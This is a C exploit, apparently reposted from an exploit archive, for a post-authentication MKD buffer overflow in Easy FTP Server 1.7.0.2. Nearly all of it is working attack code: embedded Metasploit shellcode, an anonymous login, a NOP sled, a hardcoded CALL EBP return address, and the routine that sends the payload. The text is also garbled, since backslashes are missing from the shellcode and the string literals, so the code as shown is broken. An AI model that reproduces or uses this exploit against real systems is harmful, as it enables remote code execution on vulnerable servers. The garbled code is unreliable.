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Easy Ftp Server v1.7.0.2 MKD Remote Post-Authentication BoF

Posted on 04 April 2010

===================================================================
Easy Ftp Server v1.7.0.2 MKD Remote Post-Authentication BoF Exploit
===================================================================

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
 
//*************************************************************************
//     Easy~Ftp Server v1.7.0.2 MKD Remote Post-Authentication BoF Exploit
//     ( 11470_x90c.c )
//
//     Date: 24/03/2010
//     Author: x90c < x90c.org >
//
//     Discovered by: loneferret
//
//     Exploits by:
//            [1] 11470.py (PoC) - loneferret ( Found: 13/02/2010 )
//                - http://www.exploit-db.com/exploits/11470
//            [2] 11470_x90c.c ( Exploit )
//                ( MAGIC RET, Metasploit shellcode )
//*************************************************************************
 
 
// Metasploit shellcode ( calc.exe ) - 228 Bytes
static char shellcode[] =
{
"xd9xccx31xc9xb1x33xd9x74x24xf4x5bxbax99xe4x93"
"x62x31x53x18x03x53x18x83xc3x9dx06x66x9ex75x4f"
"x89x5fx85x30x03xbaxb4x62x77xcexe4xb2xf3x82x04"
"x38x51x37x9fx4cx7ex38x28xfax58x77xa9xcax64xdb"
"x69x4cx19x26xbdxaex20xe9xb0xafx65x14x3axfdx3e"
"x52xe8x12x4ax26x30x12x9cx2cx08x6cx99xf3xfcxc6"
"xa0x23xacx5dxeaxdbxc7x3axcbxdax04x59x37x94x21"
"xaaxc3x27xe3xe2x2cx16xcbxa9x12x96xc6xb0x53x11"
"x38xc7xafx61xc5xd0x6bx1bx11x54x6exbbxd2xcex4a"
"x3dx37x88x19x31xfcxdex46x56x03x32xfdx62x88xb5"
"xd2xe2xcax91xf6xafx89xb8xafx15x7cxc4xb0xf2x21"
"x60xbax11x36x12xe1x7fxc9x96x9fx39xc9xa8x9fx69"
"xa1x99x14xe6xb6x25xffx42x48x6cxa2xe3xc0x29x36"
"xb6x8dxc9xecxf5xabx49x05x86x48x51x6cx83x15xd5"
"x9cxf9x06xb0xa2xaex27x91xc0x31xbbx79x29xd7x3b"
"x1bx35x1d"
};
 
int main(int argc, char *argv[])
{
int sockfd;
struct sockaddr_in sa;
char rbuf[128];
char x0x[278];
int i = 0, j = 0;
int port = 0;
int err = 0;
 
printf("

***********************************************
");
printf("*      Easy FTP Server 1.7.0.2 MKD Remote BoF     *
");
printf("*            Found by: loneferret                 *
");
printf("*      - http://www.exploit-db.com/exploits/11470 *
");
printf("*      - 11470_x90c.c - x90c                      *
");
printf("***************************************************

");
 
if( argc < 3 )
{
        printf("Usage: %s <Target IP> <Port>

", argv[0]);
        exit(1);
}
 
port = atoi(argv[2]);
 
if(port <= 0 || port > 65535)
{
    port = 21;
}
 
printf("[PORT] %d/tcp
", port);
 
memset(&sa, 0, sizeof(sa));
sa.sin_family = AF_INET;
sa.sin_addr.s_addr = inet_addr(argv[1]);
sa.sin_port = htons(port);
 
if((sockfd = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1)
{
        err = -1;
        fprintf(stderr, "[!] Socket failed
");
        goto out;
}
 
// Socket Connect
if(connect(sockfd, (struct sockaddr *)&sa, sizeof(struct sockaddr)) == -1)
{
        err = -2;
        fprintf(stderr, "[!] Connection failed!
");
        goto out;
}
 
printf("[+] Connected!
");
 
// Auth
recv(sockfd, rbuf, sizeof(rbuf), 0);
 
send(sockfd, "USER anonymous
", 16, 0);
recv(sockfd, rbuf, sizeof(rbuf), 0);
if(strstr(rbuf, "okay") != NULL)
        printf("[USER] anonymous
");
 
send(sockfd, "PASS anonymous
", 16, 0);
recv(sockfd, rbuf, sizeof(rbuf), 0);
if(strstr(rbuf, "logged in.") != NULL)
        printf("[PASS] anonymous
");
 
// Fill Payload
memset(&x0x, 0x90, sizeof(x0x));
 
for(i = 20, j = 0; j < strlen(shellcode); j++)
    x0x[i++] = shellcode[j];
 
x0x[0] = 'M';
x0x[1] = 'K';
x0x[2] = 'D';
x0x[3] = ' ';
 
// MAGIC RET:
// # CALL EBP ( EBP Register points to nopsled of this payload when overflowed )
// # 004041EC   FFD5             |CALL EBP
// #
//
x0x[272] = 'xEC';
x0x[273] = 'x41';
x0x[274] = 'x40';
x0x[275] = 'x00';
 
x0x[276] = '
';
x0x[277] = '
';
x0x[278] = 'x00';
 
printf("[+] Sending payload...
");
 
// Send payload
send(sockfd, x0x, 278, 0);
recv(sockfd, rbuf, sizeof(rbuf), 0);
if((strstr(rbuf, "denied.") != NULL) || (strstr(rbuf, "too long") != NULL))
{
        printf("[!] anonymous account doesn't have permission to MKD command...
");
        printf("[!] Exploit Failed. ;-x
");
        goto out;
}
 
printf("[+] Exploited :-)
");
 
out:
        close(sockfd);
        return err;
}




# Inj3ct0r.com [2010-04-04]

 

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